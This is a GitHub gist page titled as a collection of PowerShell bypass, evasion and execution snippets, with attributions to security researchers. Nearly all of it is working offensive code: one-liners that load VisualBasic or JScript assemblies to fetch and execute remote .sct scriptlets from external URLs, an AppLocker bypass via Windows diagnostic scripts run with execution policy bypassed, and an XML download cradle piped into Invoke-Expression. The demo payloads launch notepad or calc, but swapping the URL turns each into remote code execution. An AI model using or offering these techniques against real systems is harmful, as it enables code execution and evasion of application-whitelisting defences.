-
-
Save wilsonfisk77/3c189ef8e8562bcfdba75c2503c7d016 to your computer and use it in GitHub Desktop.
Snippets of PowerShell bypass/evasion/execution techniques that are interesting
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| ############################################################################## | |
| ### Powershell VBScript Assembly SCT Execution | |
| ### [https://twitter.com/bohops/status/965670898379476993] | |
| [Reflection.Assembly]::LoadWithPartialName('Microsoft.VisualBasic');[Microsoft.VisualBasic.Interaction]::GetObject('script:https://gist.github.com/bohops/72031fecb0f58531753f51d4ef2b86e9/raw/12ddbfab98781eaf23e1bd2898dd24fe75fb251a/notepad.sct').Exec(0) | |
| ############################################################################## | |
| ### Powershell JScript Assembly SCT Execution | |
| ### [https://twitter.com/bohops/status/965085651199840258] | |
| [Reflection.Assembly]::LoadWithPartialName('Microsoft.JScript');[Microsoft.JScript.Eval]::JScriptEvaluate('GetObject("script:https://gist.github.com/bohops/72031fecb0f58531753f51d4ef2b86e9/raw/12ddbfab98781eaf23e1bd2898dd24fe75fb251a/notepad.sct").Exec()',[Microsoft.JScript.Vsa.VsaEngine]::CreateEngine()) | |
| ############################################################################## | |
| ### Powershell JScript Assembly ActiveXObject Script Execution | |
| ### [@gabemarshall - https://gist.github.com/gabemarshall/a708aad5b70a31d0bec19b86a1b73c28/raw/44e74c465b5585dc7a941103aa8742b928933ccf/jscript.ps1] | |
| [Reflection.Assembly]::LoadWithPartialName('Microsoft.JScript');$js = 'var js = new ActiveXObject("WScript.Shell");js.Run("calc");'[Microsoft.JScript.Eval]::JScriptEvaluate($js,[Microsoft.JScript.Vsa.VsaEngine]::CreateEngine()); | |
| ############################################################################## | |
| ### Loading .Net/C# Assemblies to Bypass AppLocker Default Rules w/ PowerShell Diagnostic Scripts | |
| ### [https://bohops.com/2018/01/07/executing-commands-and-bypassing-applocker-with-powershell-diagnostic-scripts/] | |
| powershell -v 2 -ep bypass | |
| cd C:\windows\diagnostics\system\AERO | |
| import-module .\CL_LoadAssembly.ps1 | |
| LoadAssemblyFromPath ..\..\..\..\path\assembly.exe | |
| [name.space]::executesomething() | |
| ############################################################################## | |
| ### Command Invocation w/ PowerShell Diagnostic Scripts | |
| ### [https://bohops.com/2018/01/07/executing-commands-and-bypassing-applocker-with-powershell-diagnostic-scripts/] | |
| powershell -v 2 -ep bypass | |
| cd C:\windows\diagnostics\system\AERO | |
| import-module CL_Invocation.ps1 | |
| SyncInvoke notepad.exe | |
| ############################################################################## | |
| ### PowerShell CL Download Cradle | |
| ### [@subtee - https://gist.github.com/subTee/47f16d60efc9f7cfefd62fb7a712ec8d] | |
| ### [@HarmJ0y - https://gist.github.com/HarmJ0y/bb48307ffa663256e239] | |
| $a = New-Object System.Xml.XmlDocument | |
| $a.Load("https://gist.github.com/bohops/0e7f900bba16181f01575bdd43b383e9/raw/aefe626d2571e5c22e30e77bf36b29a4f36af49e/notepad.txt") | |
| $a.command.a.execute | iex |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment